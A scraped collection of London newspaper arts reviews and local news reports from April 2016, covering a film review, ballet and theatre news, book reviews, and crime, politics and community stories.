I s it possible that Natalie Portman cant act? Shes been doing it since she was a child, and earned an Oscar for Black Swan but watching her in this revisionist Western  which basically exists to showcase her pint-sized gumption  its hard not to conclude that her default facial settings are blank and (when required to convey infinite suffering) blanker still.

The films troubled production history (Scottish director Lynne Ramsay was replaced in the first week of filming with bland Gavin OConnor; the budget kept getting cut) surely account for the awkward shifts of tone.

The titular Jane (Portman) seeks help from her ex (Joel Edgerton) when the past involving a vicious outlaw (Ewan McGregor), her first-born child and an out-of-the-blue rescuer  rears into the present. There are moments when the grittiness of the sets suggests weve entered McCabe and Mrs Miller territory, while several scenes set at Janes vulnerable homestead are properly tense.

No acting chops: Natalie Portman

But, the sun-dappled flashbacks are terrible. And the same goes for the implausibly upbeat ending. Our heroine, literally, lets her hair down (full of blonde highlights, her massive mane cascades down her back). She looks like some kind of Robert Rodriguez starlet, the sort of bad-ass babe weve seen a million times before.

TODO: define component type brightcove

Meeks Cutoff and Mad Max: Fury Road are very different films but both have more right to be dubbed feminist Westerns than Jane Got a Gun. Portman, seeking to blaze a trail in a tough landscape, needed all the help she could get. Without Ramsays firepower shes left looking mighty frail.

Cert 15, 98 mins

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R ussian star Irina Kolesnikova believes ballet should not be the preserve of high culture as she unveiled plans for a new version of Carmen in London to highlight the plight of refugees in Europe.

The prima ballerina of the St Petersburg Ballet Company recently visited camps on the Macedonian-Serbian border with Oxfam. More than 1.2 million refugees have passed through the region in the last six months and half of the hundreds of people living in camps are children, says Oxfam. Kolesnikova said: As a mother of a young child, I was struck by the number of children that are caught up in this movement of people. Yet no country has a strategy for dealing with this. Its madness. Gradually, countries are acknowledging that  whatever you think about migration, whatever your politics  when so many children are involved inaction is inexcusable.

Kolesnikova helped create the ballet, Her Name Was Carmen  based on the Bizet original  which is set in a refugee camp and will run at the London Coliseum from August 25-28. She said: We dont think ballet should be the preserve of high culture. We think it should engage with important issues. Before we visited the camps, I was worried some people would interpret our setting of Carmen in a refugee camp as opportunistic or voyeuristic.

Our visit proved to me that art isnt in a separate sphere to ordinary human life. Visit Tabanovce [the site of a camp in Macedonia] and you visit a concert  people are dancing and singing. They even have ballet classes. The Her Name Was Carmen story speaks to timeless themes of hope and despair, suffering and a thirst for a better life. The hardship of the refugees is a very urgent expression of these concerns.

From every ticket sold, 1 will go to support Oxfams work in the region. Visit eno.org/whats-on/her-name-is-carmen

@Alistair_Foster

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T he true story behind Terence Rattigans classic The Deep Blue Sea is coming to the London stage  weeks before a new production of the play itself.

Mike Poulton, whose recent work includes stage adaptations of Hilary Mantels novels Wolf Hall and Bring Up The Bodies, has written a play about the suicide of Rattigans lover, Kenny Morgan, who gassed himself in 1949.

The death of Morgan, a once-promising young actor, inspired Rattigan to write The Deep Blue Sea, the story of a married womans despair as her lover distances himself from her. In 2011 the play was turned into a film starring Rachel Weisz, Tom Hiddleston and Simon Russell Beale.

Poulton came across the story in a biography of the playwright, which described how Rattigan was told about Morgans suicide backstage at the press night of one of his plays.

Poulton said: The story is that Rattigan was looking out of the window and said nothing for 20 minutes and then said Ive got the plot of my next play, a body will be found in front of a gas fire.

That started me to find out more about who Kenny Morgan was and who Terence Rattigan was. In his own play Rattigan changed the character of Morgan to a woman, Hester Collyer, to cover up his homosexuality  which was then still illegal.

Hester will be played by Helen McCrory in the National Theatre production, which opens in June.

Things to do in London this weekend (April 22-24) 1 /17 Things to do in London this weekend (April 22-24) Model Market in Lewisham 196 Lewisham High St, SE13 6LS (All summer)

The people behind Dalstons Street Feast have also made a return for Lewishams night market. Back for the third summer of serving some of South Londons best street food, Model market has more to offer than ever before. With the likes of Mothers Jerk, Club Mexicana, Yum Bun, Doughnut and more, youll be sure to find a new favourite dish.

streetfeastlondon.com Press image Last Libations: St Georges Cocktail Masterclass 42 Northampton Rd, EC1R 0HU

What better way to enjoy St Georges Day than to infuse your drinks with some British gin? Bourne & Hollingsworth Buildings are hosting a cocktail masterclass this Saturday (April 23) and gin tasting day, hosted by experts who will teach you about Londons heritage spirit. Presented with a cocktail upon arrival, guests will be spoiled with a selection of gins to taste, and entertainment to watch, before putting together your own concoctions. Tickets are 20.

billetto.co.uk B&H Buildings Feast of St George Trafalgar Square, Westminster, WC2N 5DN (Saturday April 23)

Trafalgar Square will be the centre of attention this St Georges Day as it gets taken over by live music, food and drink stalls, and a large crowd celebrating the death of the legendary dragon-slayer. With patriotic options to dine on, the biggest celebration of England will be taking place on Saturday April 23.

Find the event information here Mayor of Londons Press Office The Complete Walk Westminster Bridge, SW1A (Saturday April 23 - Sunday April 24)

To celebrate 400 years since the bards passing, the Thames bank-side is transforming into a 2.5 mile exhibition. Starting at Westminster Bridge, the walk will follow the Thames down to Tower Bridge. Along the walk, you will undoubtedly stumble across large screens that will be showing original 10-minute re-enactments of some of Shakespeares best known plays. Although it's called The Complete Walk, theres no order to complete it in, and you can attempt the exhibition on Saturday and Sunday (April 23-24) from 10am, and its free.

shakespearesglobe.com Shakespeare's Globe Norman Jay MBE at Boho 6 Inverness Street, NW1 7HJ (Saturday April 23)

Boho in Camden welcomes the legendary DJ behind Kiss FM and Good Times Sound System this Saturday for a night of soulful funk to get you dancing. Having been awarded an MBE for his DJing and music contributions to the public, Norman Jay is sure to bring the house down in an attempt to travel back in time to ensure some funkadelic fun.

Get tickets here Design My Night Cirque de la Quirk 65 Crowndale Rd, NW1 3JB (Friday April 22)

The Isle of Wight Festival is teasing us this weekend with an exclusive event that is just a taster of whats to come at the real festival this summer. Taking place at The Crowndale Club in Camden, Cirque de la Quirk will lure you into the festival mood. With a mix of electro swing, drum and bass and funk music on offer, its no doubt that everyone will be dancing.

Get tickets here Design My Night Miles Ahead Cinemas across the country. Opening weekend

The biographical film based on jazz trumpeter Miles Davis will be released in UK cinemas on Friday April 22. With Don Cheadle playing the legendary jazz musician, Miles Ahead sees Cheadle trying to regain his session tape from music producers, as well as exploring the life of the jazz trumpeter, and will appear on the screen alongside Ewan McGergor and Michael Stuhlbarg.

cineworld.co.uk Icon Film Distribution Londons Kayakathon 3-4 Shadwell Pierhead, Glamis Road, E1W 3TD (Saturday April 23)

The Thames will be full of 100 experienced kayakers this weekend as Londons Kayakathon kicks off. Starting at Shadwell Basin, the kayakers will attempt to paddle 26.2 miles of the River Thames, passing London Bridge, and Londons biggest attractions along the way. The event aims to raise more money for charity, following the 30,000 they raised in 2014. Its free to watch, and launches at 12:15.

kayakathons.com www.kayakathons.com The City Garden exhibition The City Centre, 80 Basinghall Street, City, EC2V 5AR (April 23-September 25)

Rebecca Louise Laws latest exhibition sees her experiment with hanging flora. Creating her exhibitions by only using natural materials, the east London installation artist highlights the relationship between human and nature by tying the hanging flora to copper wire hanging from the ceiling in a spectacularly beautiful exhibition. The exhibition opens April 23.

thecitycentre.london Press image Virgin Money London Marathon (Sunday April 24)

London runners unite this weekend for the 26.2 mile marathon. Taking to central Londons streets, thousands of keen runners will compete in the stamina challenge for the gold medal. Whilst they sweat it out, why not watch from the familiar pubs along the marathon route?

Visit our guide here Tom Lovelock/Virgin Money London Marathon New Cross & Deptford Free Film Festival Various locations (Opening night Friday April 22)

The volunteer-driven community project is arriving in London this weekend to celebrate people coming together for film. The New Cross & Deptford Free Film Festival will host a series of screenings from April 22 to May 1 across local venues in the area. Friday April 22 is the opening night, and will see a screening of Summer of Sam, as well as hosting a 70s inspired disco afterwards at The Duke in Deptford. Over this weekend you also have the choice of seeing The Lion King, Withnail & I, City of Rats and more. With the screenings and events being free, make sure you get down early to avoid disappointment, as tickets are given on a first come, first served basis.

freefilmfestivals.org Kygo Brixton O2 Academy, 211 Stockwell Rd, SW9 9SL (April 22-23)



The self-proclaimed electronica artist Kygo has shot to fame in the past year, and is now playing two sold out shows at Brixtons O2 Academy this weekend. Infused with tropical house beats, Kygos set is bound to bring summery vibes to the packed out venue ahead of his album release on May 13. Tickets are hard to find at the moment, but be sure to keep an eye out for some last minute deals.



Rex The Avenue 7-9 St James's St, SW1A 1EE (Monday April 25)

Even though this weekend is full of great events to attend, dont let the Monday blues get you down, as Avenue restaurant is bringing their new American comfort food menu to London. Consisting of a wide selection of fried chicken dishes, it doesnt matter whether youre a sweet or savoury person, as this special fried chicken menu offers maple syrup or blue cheese to go with the succulent chicken. This new menu launches on Monday April 25, so be sure to book a table.

avenue-restaurant.co.uk Press image

Poulton said: He was in an impossible position where he could not be himself and he and Kenny had problems that could not be solved. In 1940 Kenny Morgan had been hailed as the bright new talent of the British film industry and within nine years he was dead in a seedy bedsit in Camden Town. In some ways its a celebrity story  he had too much money and too much success too early.

The play, called Kenny Morgan, stars Paul Keating in the title role and Simon Dutton as Rattigan. It runs at the Arcola Theatre from May 18 to June 18.

@RobDexES

Follow Going Out on Facebook and on Twitter @ESgoingout
T ales of Persuasion, Philip Henshers third short story collection, is Thomas Mann-like in its homoerotic undertones and high-flown hymns to unrequited love but a good deal funnier. My Dog Ian, a bravura performance, finds social comedy in the unsuitability of Ian as a dogs name, while A Lemon Tree imagines the former Italian leader Silvio Berlusconi as an old peoples home orderly. Hensher likes to confront dark themes  a betrayal of friendship, an old romance dangerously rekindled  but the collection usually has a compensatory waspish wit.

Eduardo, the opening story, is a sub-Wildean comedy of social embarrassment and sexual envy in which a London house guest called Timothy turns out to be a woman. Not only a woman, but a spoiled, Kenya-born layabout with a jarringly illiberal vocabulary  Is he a half-caste? she asks of Eduardo, the Argentinean Adonis who lives next door. One can only reflect sorrowfully on Timothys inadequate and carping personality.

As always, Hensher is deft at locating the moment of crisis when a character experiences a change of heart or a nasty surprise, and life is exposed in all its drab wonder. In The Pierian Spring a novelist frequents a Kentish Town pub in order to write and smoke in public until the 2006 UK Health Act obliges him to desist. Without nicotine, however, his storytelling powers desert him and he fears a life on the literary scrapheap.

No doubt Henshers childhood in drab, Seventies Sheffield provides substance for these tales of human failure and class anxiety. In The Painters Sons, an artists wife on a Greek island worries that her homosexual son is going to elope with a Starbucks manager. I would be ashamed to know anyone who worked for Starbucks, I truly would, she declares, aghast.

Entertainingly varied in tone and setting, the stories combine quaint physical observation (the faint feety smell of Parmesan) with a caustic intelligence. One of the best tales, In Time of War, unfolds in a drowsy backwater of southern India, where a homosexual tourist finds himself immersed in sated ease and torpor. The day passed without narration or commentary, and for most of it, Fred sat by the lake, watching the sun move through the sky. A woman backpacker battens on to him flirtatiously, however  with unforeseen consequences for Fred the dizzy tart.

Among the collections many delights are the walk-on characters, ranging from the cowed and harried wife of an Australian theology professor to a disaffected City commodity broker who deals in great mountains of notional bacon and coffee.

More book reviews 1 /24 More book reviews Recovery by Russell Brand Will Russells brand of self-help prove quite so addictive? By Nicholas Lezard. Read review A Life in Questions by Jeremy Paxman Paxo refuses to answer all the really good questions, says David Sexton. Read review Politics: Between: The Extremes by Nick Clegg The basis of this book makes it impossible not to warm to Clegg, says Melanie McDonagh. Read review Serious Sweet by A L Kennedy Thank heavens for London in this tale of self-obsessed lovers. Read review The Last Royal Rebel: The Life and Death of James, Duke of Monmouth by Anna Keay Born a kings b****** and destined for a traitors death. Read review Man Up: Boys, Men and Breaking the Male Rules by Rebecca Asher Getting to the bottom of why boys will be boys. Read review The Course of Love by Alain de Botton A philosophical novel that does run smooth, says Johanna Thomas-Corr. Read review The Tree Climbers Guide: Adventures in the Urban Canopy by Jack Cooke How I gave this book a proper test and ended up with a broken ankle. Read review Reader, I Married Him: Stories Inspired by Jane Eyre Brontes classic tale in the imaginations of other writers, says Claire Harman. Read review Moranifesto by Caitlin Moran Caitlin comes clean about politics  the world according to our funniest feminist. By Rosamund Urwin. Read review Spark Joy An Illustrated Guide to the Japanese Art of Tidying by Marie Kondo Theres no messing wih Marie, says Katie Law. Read review Cockfosters Stories by Helen Simpson After 50, a womans life gets better not worse. By Katie Law. Read review Stalins Englishman: The Lives of Guy Burgess by Andrew Lownie Joker in the spying pack. By Richard Bassett. Read review Even Dogs in the Wild by Ian Rankin The darkness that lies at the heart of the novel is offset by a lightness of touch, says Mark Sanderson. Read review Unfaithful Music & Disappearing Ink by Elvis Costello Elvis proves not quite so lyrical on the page, says Nick Curtis. Read review The Importance of Elsewhere: Philip Larkins Photographs by Richard Bradford His poetry paints better pictures than any camera, says David Sexton. Read review Career of Evil by Robert Galbraith Morality wins out over macabre murders, says Melanie McDonagh. Read review The Grownup by Gillian Flynn Calling all Flynnies: the con girl whos like gone girl. Read review

Hensher has always been an acute observe of modern life; beneath the burlesque of The Whitsun Snoggings is an affecting tale of marital breakdown and mid-life regret. At times the writing is overblown  He looked like the Book of Job, and you could imagine him spottily going to and fro on the earth, walking up and down on it, forgiving everyone in a pimply manner  but on the whole the 11 stories have real edge and distinction.
N ot so much whodunnit as whydunnit, this compelling book is one of several parts. First, the disturbing true story of Robert Coombes, who in 1895, aged 14, murdered his mother with a specially bought scimitar-shaped knife. For 10 hot summer days Coombes kept the rotting body locked in her bedroom. He wanted to preserve her in quicklime but events overtook that lunatic scheme.

A relative no longer convinced by Roberts suave fictions of his mothers absence blew the whistle. As blowflies swarmed, Emily Coombess body was found consumed by a bushel of maggots, eyes and genitals gone. In court, a policeman fainted while describing this.

While his mother putrefied upstairs, Robert and his younger brother, Nattie, relished jaunts to Lords, the theatre and the seaside, in a spending spree entirely at odds with their mean life in a rented house in Plaistow. In 10 days they spent stolen money meant to last their mother six weeks.

Was Coombes insane? An adept, inventive liar, at the Old Bailey he laughed, smirked, grimaced, wore flamboyant clothes and inadvertently pleaded guilty. Or, as Summerscale persuasively argues, did the romance of the copious penny dreadfuls he read inspire him? Those cheap, violent stories sold a million a week and, at the time, were widely linked to crime. Or, as he and his brother claimed, did he kill because that day his mother beat Nattie for stealing food? Which does not explain Roberts concealment days before of the dagger up a chimney.

Against expectation of hanging, Robert was committed to Broadmoor. Summerscales description of a cross between a fortress and fairy citadel, in lush countryside, offering diversions and training that Roberts grim childhood simply did not encompass, is fascinating. The liberality shown to the inmates counters ones notion of a Victorian high-security prison for the insane. Discharged aged 30, trained as a tailor, he set sail for a new life in Australia.

So Summerscales book is also the story of war-hero Robert Coombes, who fought in the Australian army at Gallipoli and the Somme, was awarded four medals, and then, after demob, adopted and raised a lad who had been beaten by his stepfather. At his death, aged 69, Coombes was mourned.

More book reviews 1 /24 More book reviews Recovery by Russell Brand Will Russells brand of self-help prove quite so addictive? By Nicholas Lezard. Read review A Life in Questions by Jeremy Paxman Paxo refuses to answer all the really good questions, says David Sexton. Read review Politics: Between: The Extremes by Nick Clegg The basis of this book makes it impossible not to warm to Clegg, says Melanie McDonagh. Read review Serious Sweet by A L Kennedy Thank heavens for London in this tale of self-obsessed lovers. Read review The Last Royal Rebel: The Life and Death of James, Duke of Monmouth by Anna Keay Born a kings b****** and destined for a traitors death. Read review Man Up: Boys, Men and Breaking the Male Rules by Rebecca Asher Getting to the bottom of why boys will be boys. Read review The Course of Love by Alain de Botton A philosophical novel that does run smooth, says Johanna Thomas-Corr. Read review The Tree Climbers Guide: Adventures in the Urban Canopy by Jack Cooke How I gave this book a proper test and ended up with a broken ankle. Read review Reader, I Married Him: Stories Inspired by Jane Eyre Brontes classic tale in the imaginations of other writers, says Claire Harman. Read review Moranifesto by Caitlin Moran Caitlin comes clean about politics  the world according to our funniest feminist. By Rosamund Urwin. Read review Spark Joy An Illustrated Guide to the Japanese Art of Tidying by Marie Kondo Theres no messing wih Marie, says Katie Law. Read review Cockfosters Stories by Helen Simpson After 50, a womans life gets better not worse. By Katie Law. Read review Stalins Englishman: The Lives of Guy Burgess by Andrew Lownie Joker in the spying pack. By Richard Bassett. Read review Even Dogs in the Wild by Ian Rankin The darkness that lies at the heart of the novel is offset by a lightness of touch, says Mark Sanderson. Read review Unfaithful Music & Disappearing Ink by Elvis Costello Elvis proves not quite so lyrical on the page, says Nick Curtis. Read review The Importance of Elsewhere: Philip Larkins Photographs by Richard Bradford His poetry paints better pictures than any camera, says David Sexton. Read review Career of Evil by Robert Galbraith Morality wins out over macabre murders, says Melanie McDonagh. Read review The Grownup by Gillian Flynn Calling all Flynnies: the con girl whos like gone girl. Read review

Summerscales very cool presentation of events and facts is unsettling. A great deal of recorded speech gives her account vividness and power, and plentiful contemporary research rounds out the scenes. At the time, the horrific affair was plastered all over the press, with hand-drawn illustrations. Called in turns the Plaistow Tragedy or Plaistow Horror, it gripped and stoked the public imagination, just as it surely will again.

One can only stab at what motivated Robert to commit his vile act. He never appeared to express remorse. What cleverly increases the long-lingering disquietude and thought provoked by this detailed work is that Summerscale leaves it to the reader to ponder not only motive, but whether his later life was redemptive  either by intention or act. Her last sentence is the only hint.

11.99, Amazon, Buy it now
A ce newspaperman Duncan Campbell, already the author of an amusing novel, If It Bleeds, and seven books on bad boys including The Underworld, has made a career out of exposing wrongdoing. He knows that crime news is prime news and, in what used to be called Fleet Street, the axiom if it bleeds, it leads. However, this selective, personal and rough history of crime reporting in Britain is as much concerned with the spilling of ink and tears as blood.

The gangs all here: Jack Shepherd, Jonathan Wild, Dick Turpin; Burke and Hare; Crippen, Haigh, Christie. Fred and Rosemary West. They provide the raw meat that allows Campbell to sink his teeth into the real stars of the show: the coppers and hacks  just as predatory in their own way  who caught the killers and reported on them.

As far as theyre concerned you cant have too much of a bad thing. Ever since the Newgate Calendar opened readers eyes to what went on in prison, publishers have been keen to cash in on the baleful glamour of violent death. Daniel Defoe, an ex-con himself, knew the three essential ingredients for a good story: disapproval, fascination and exaggeration. Or, if you were Dickens: disgust, fulmination and emotion.

Two hundred years later dickbooks  Amazing Detective, Thrilling Detective, Spicy Detective  were still regaling goggle-eyed cop-lovers with juicy details and lurid pictures of American crime. J Edgar Hoover, of course, was a fan.

Where Campbell parts company with Lucy Worsley, whose recent The Art of Murder was at the bottom a pimped-up telly script, is in his thumbnail profiles of the crusading characters who tried to highlight crime and miscarriages of justice.

Arthur Tietjen, for example, handled press communications at the Nuremberg and Belsen trials, before becoming the crime correspondent of the Daily Mail; and Duncan Tommy Webb started his career as an office boy on this paper before becoming the foremost crime reporter of his day. He made it his business to destroy the secrecy on which the underworld depends. He is also said to have come up withthe phrase, having witnessed naughtiness with his own eyes: I made my excuses and left.

The Leveson Inquiry destroyed the traditionally corrupt and cosy relationship between cops and writers for good  and, says Campbell, ill. A strong sense of nostalgia runs throughout this zany catalogue of atrocity and achievement. The days of being able to walk into the press room, just off the reception area at New Scotland Yard, at any time of day or night; the times when arrested rascals could be fooled into believing photocopiers were lie detectors have long gone.

More book reviews 1 /24 More book reviews Recovery by Russell Brand Will Russells brand of self-help prove quite so addictive? By Nicholas Lezard. Read review A Life in Questions by Jeremy Paxman Paxo refuses to answer all the really good questions, says David Sexton. Read review Politics: Between: The Extremes by Nick Clegg The basis of this book makes it impossible not to warm to Clegg, says Melanie McDonagh. Read review Serious Sweet by A L Kennedy Thank heavens for London in this tale of self-obsessed lovers. Read review The Last Royal Rebel: The Life and Death of James, Duke of Monmouth by Anna Keay Born a kings b****** and destined for a traitors death. Read review Man Up: Boys, Men and Breaking the Male Rules by Rebecca Asher Getting to the bottom of why boys will be boys. Read review The Course of Love by Alain de Botton A philosophical novel that does run smooth, says Johanna Thomas-Corr. Read review The Tree Climbers Guide: Adventures in the Urban Canopy by Jack Cooke How I gave this book a proper test and ended up with a broken ankle. Read review Reader, I Married Him: Stories Inspired by Jane Eyre Brontes classic tale in the imaginations of other writers, says Claire Harman. Read review Moranifesto by Caitlin Moran Caitlin comes clean about politics  the world according to our funniest feminist. By Rosamund Urwin. Read review Spark Joy An Illustrated Guide to the Japanese Art of Tidying by Marie Kondo Theres no messing wih Marie, says Katie Law. Read review Cockfosters Stories by Helen Simpson After 50, a womans life gets better not worse. By Katie Law. Read review Stalins Englishman: The Lives of Guy Burgess by Andrew Lownie Joker in the spying pack. By Richard Bassett. Read review Even Dogs in the Wild by Ian Rankin The darkness that lies at the heart of the novel is offset by a lightness of touch, says Mark Sanderson. Read review Unfaithful Music & Disappearing Ink by Elvis Costello Elvis proves not quite so lyrical on the page, says Nick Curtis. Read review The Importance of Elsewhere: Philip Larkins Photographs by Richard Bradford His poetry paints better pictures than any camera, says David Sexton. Read review Career of Evil by Robert Galbraith Morality wins out over macabre murders, says Melanie McDonagh. Read review The Grownup by Gillian Flynn Calling all Flynnies: the con girl whos like gone girl. Read review

As has the Wine Press on Fleet Street where, on Friday nights, legal reports and documents flew around like confetti. The internet has changed the newspaper world so much that now a modern reporter must have these skills: social, video, analytics and search engine optimisation. (Thats including a celebritys name in an article to maximise the number of hits).

We mustnt despair, though: there are plenty of laughs in these pages. No computer, learning that a male police officer, after a sex change, remained in the service, could have come up with this headline: NO KNOBBY BOBBY KEEPS HIS JOBBY.
E ach year the Sony World Photography Awards showcases the most talented and exciting photographic projects from all around the world. For 2016, a total of 230,103 entries from 186 countries were narrowed down to just 14 winners of the worlds largest photography competition.

This year the awards feature every from the Iranian photographer Asghar Khamsehs powerful portraits of an acid attack victim  which won the coveted LIris dOr Photographer of the Year prize  to Angelos Tzortzinis iconic image of an Afghan refugee carrying his child as he arrives on a beach on the Greek island of Kos, in May 2015, after crossing a part of the Aegean Sea between Turkey and Greece.

Scott Gray, CEO of World Photography Organisation says: The awards consistently provide an incredible array of work, from a multitude of countries, and most importantly provide the chance for photographers to be discovered and extend their careers.

I hope that the winning work this year can provide an inspiration to other photographers, helping to push their creative boundaries, whilst also serving to build the wider appreciation of photography.

An exhibition of all the winning and shortlisted work will run at Somerset House, London from 22 April to 8 May.

Follow us on Twitter @eslifeandstyle
A "man with a knife" terrorised commuters on a morning Northern Line train before attacking a woman on the platform at Bank Station.

Police were called to the station just before 7am on Friday, after the incident on platform 4.

A man, who was thought to be armed with a knife, was then arrested, a British Transport Police spokesman said.

The victim, a 25-year-old woman, was uninjured in the assault, police added.

Police are now appealing for witnesses to come forward, especially anyone who saw a man behaving "erratically" while travelling on a Northern Line train prior to the incident at Bank.

The British Transport Police spokesman said: "Officers were called to Bank London Underground station at 6.49am today, following reports of a disturbance on platform 4.

"On arrival officers arrested a man in connection with an assault on a woman and for possession of a bladed article.

"The woman, aged 25, hasnt been injured.

"We believe the arrested man travelled on the Northern line prior to the incident and may have been behaving erratically."

Anyone who may have witnessed the man or the incident is asked to contact BTP on 0800 40 50 40 or by texting 61016 - quoting reference 64 of 22/4.
S hops, homes and a primary school have been evacuated near a Lewisham building site today after a suspected Second World War bomb was found.

Police were called to the site on Boone Street at 9.14am after workers made the find.

Afterwards, a string of shops along the normally busy Lee High Road were evacuated and a 200-metre restriction zone was set up around the affected area.

Police have warned the cordon could be in place for some time while specialist officers deal with the discovery.

Martin Turner, from local business Lewisham Card, said the device had been found by builders on their site behind a petrol station.

He said: "The whole stretch about 200m around where it's happening has just been completely cut off.

"They've just taped the whole place off, the side streets as well."

He added: "The local businesses have had to close their shops and just go.

"The police said the situation was entirely safe and they were just waiting for the disposal experts to come down and do their thing.

"After that they'll be able to slowly get back to normal."

Chief Superintendent Kate Haplin, Lewisham's borough commander, announced at 3.30pm that the army had also been called in to deal with the incident.

She said: "The bomb has been undisturbed for many years, so having been disturbed by building works today, we were concerned of the potential risk this could cause.

"For the safety of the public a large cordon was put in place and some homes, schools and businesses evacuated. That cordon remains in place, and at this stage I am unable to say when it is likely to be lifted.

"I recognised the impact and disruption this has caused the community and I am very grateful for the cooperation we have received so far.

"The safety of the of the public is paramount and we are now working with the army, who are using their skill and experience to safely bring this incident to its conclusion."

The bomb has since been removed and the roads have reopened.
A Scotland Yard detective has been sacked over failures in an investigation involving an associate of Mark Duggan, whose death sparked riots in London five years ago.

A probe into an armed assault by Kevin Hutchinson-Foster, who went on to provide the same gun to Mr Duggan, was found to have had a number of failures by the police watchdog.

Following an Independent Police Complaints Commission (IPCC) misconduct hearing, the officer, only known as DC Faulkner, was dismissed without notice.

The investigation was ordered following a referral from the Met after it identified failings in its original probe into the assault.

The detective constable was responsible for investigating an alleged armed assault at a barbers shop in Hackney in July 2011.

The gun used in the assault was later found at the scene of Mark Duggans death.

The IPCC ruled the detective failed to act with honesty and integrity and in his duties and responsibilities because he did not conduct a proper investigation.

The investigation found CCTV which clearly showed an individual carrying out the assault was not circulated at the earliest opportunity while witnesses were not contacted and blood swabs were not submitted for forensic analysis for several months.

DC Faulkner was also found to have attempted to deceive his supervisor several months later in an effort to imply that he had circulated the CCTV images shortly after the incident.

However, the IPCC said even if the assault was properly investigated it was highly unlikely Hutchinson-Foster could or would have been identified before he provided the gun to Mr Duggan.

IPCC deputy chairwoman Sarah Green said: "A number of explanations were put forward as to why the investigation into an assault did not progress as quickly as it should have.

"Whilst we accept that even if the assault had been promptly investigated, it would have been highly unlikely the assailant could or would have been identified before he provided the gun to Mark Duggan, the investigation was not given the priority it should have been.

"The public needs to feel confident that the police are doing all they can to ensure that these weapons are taken off the streets, including prompt and effective investigations and overcoming perceived difficulties.

"We welcome the fact that Trident has since extended its terms of reference to include a greater emphasis on the unit working with local borough units and other external agencies."

London Riots 2011 - In pictures 1 /20 London Riots 2011 - In pictures Firefighters battle a large fire that broke out in shops and residential properties in Croydon Dan Kitwood/Getty Images A hooded youth walks past a burning vehicle in Hackney Peter Macdiarmid/Getty Images Firefighters battle a large fire that broke out in shops and residential properties in Croydon Dan Kitwood/Getty Images Riot police walk along Clarence Road in Hackney on August 8, 2011 in London, England. Pockets of rioting and looting continues to take place in various boroughs of London this evening, as well as in Birmingham, prompted by the initial rioting in Tottenham and then in Brixton Dan Istitene/Getty Images Hooded youths walk past a looted Debenhams store in Clapham Junction Peter Macdiarmid/Getty Images Rioters build barricades in Goulton Road in Hackney Dan Istitene/Getty Images A youth collects clothing looted from a Carhartt store in Hackney as a car smoulders Peter Macdiarmid/Getty Images Buildings burn on Tottenham High Road, London during the 2011 riots Matthew Lloyd/Getty Images Prime Minister David Cameron talks to Acting Borough Commander Superintendent Jo Oakley during a visit to Croydon to view the destruction from the previous night's violence Stefan Rousseau/Getty Images Firefighters extinguish flames at buildings on London Road n Croydon in August 2011 Peter Macdiarmid/Getty Images Riot police tackle a mob after a number of cars were set alight in Hackney on August 8 2011 London Mayor Boris Johnson stands with Police Superintendent Jo Oakley near burnt out Reeves Corner furniture store in Croydon A masked man walks past a burning sports car outside a shop in Hackney during the riots Peter Macdiarmid/Getty Images A police officer stands in front of the burnt out Carpetright shop in Tottenham which became a symbol of the disorder Peter Macdiarmid/Getty Images Youths loot a shop in Hackney on August 8, 2011 in London Peter Macdiarmid/Getty Images

Hutchinson-Foster was jailed for 11 years in February 2013 after he was found guilty of giving a gun to Duggan 15 minutes before he was shot.

Additional reporting by Press Association
T hree people have been arrested over an alleged plot to smuggle more than 10 million pounds worth of cocaine and heroin into the UK by helicopter.

Around 40 kilos of cocaine and 60 kilos of heroin were seized from a car on the M26 in Kent on Thursday following a joint operation by the National Crime Agency and Scotland Yard.

A 38-year-old man from North Kensington was arrested by police on suspicion of conspiracy to import class A drugs

Later, two Dutch nationals, aged 26 and 27, were arrested at Redhill Aerodrome in Surrey after the pair had flown in on a helicopter from Belgium.

National Crime Agency officers arrested them on suspicion of importation of class A drugs.

All three are being questioned by investigators.

The seized class A drugs are being examined and the helicopter has been impounded.

Gary Fennelly, head of NCAs Gatwick border investigation team, said: This international operation has successfully prevented a large quantity of class A drugs making it onto the streets of the UK.

If cut and sold it is likely this haul would have had a potential street value in excess of 10 million.

Working with partners like the Metropolitan Police Service we are determined to do all we can to disrupt the organised crime networks involved in drug trafficking.
B oris Johnson today laid into Barack Obama for refusing to pay Londons Congestion Charge while telling Britons to hand over their hard-earned money to the European Union.

The Mayor hit out as exclusive Ipsos MORI research for the Evening Standard revealed the American president could sway one in five wavering voters in the knife-edge EU referendum  potentially enough to tilt the balance on June 23.

Mr Obama was making an impassioned appeal for Britain to stay in the EU this afternoon after talks at No 10 and lunch with the Queen.

Heavily armed members of President Obama's security team / Jeremy Selwyn

But Mr Johnson called him downright hypocritical, telling the Standard: It is always good to hear from our friends in America but Londoners will know that the United States guards its sovereignty with such hysterical jealousy that US diplomats still refuse to pay the Congestion Charge in this city.

"They owe us more than 9 million that could go on transport improvements.

Boris Johnson wants foreign diplomats to cough up and pay the congestion charge / Ben Pruchnie/Getty Images

Who are they to tell us to send 350 million every week to Brussels?

American diplomats in London  and the presidential vehicle, dubbed The Beast  refuse to pay the C-charge.

TODO: define component type apester

The Mayor said Mr Obama would never dream of giving away Americas freedoms in the way that he wanted Britain to surrender sovereignty to EU institutions.

Should Obama intervene in the EU referendum? vox

The US has refused to sign up even to the International Criminal Court or the UN Convention on the Rights of the Child, he said.

Who are they to say the UK should continue to be ever more deeply enmeshed in a federal EU where 60 per cent of our law already comes from Brussels?

"We will prosper and thrive outside the EU as never before and we will be better and stronger allies of America.

Ipsos MORI found Britons are split down the middle over whether Mr Obama should tell them how to vote, with 49 per cent welcoming his intervention and 46 per cent saying he should stay out of it.

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Overall, 62 per cent of the public say the presidents view is not at all important when it comes to making up their minds.

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But the research found he could motivate significant numbers of people in the most crucial group of voters  those who say they will vote for one side but admit they may change their mind before June 23.

President Obama steps off Air Force One at Stansted Airport / Rex

Some 21 per cent of them thought Mr Obamas message was important to their vote. That included a quarter of soft Remain voters, and 17 per cent of wavering Brexit backers.

Mr Obama set off with wife Michelle to lunch with the Queen and Prince Philip at Windsor Castle this morning.

Gideon Skinner, head of political research at Ipsos MORI said: President Obama may not change the minds of many Leave supporters  indeed they want him to stay out of the debate.

"But he could play a bigger role in bolstering the views of those already leaning towards Remain.
A cat was found abandoned outside a south London train station alongside a black sack filled with treats.

Sonny, a long-haired black cat, was found in a cat carrier outside Sunridge Park station in Bromley on Saturday.

A train passenger who had just left the station at about 7pm noticed the basket next to the closed ticket office.

A bin liner filled with toys, food, cat litter and worming tablets had also been left with Sonny.

The RSPCA are now appealing for information about the cat and the whereabouts of his owner.

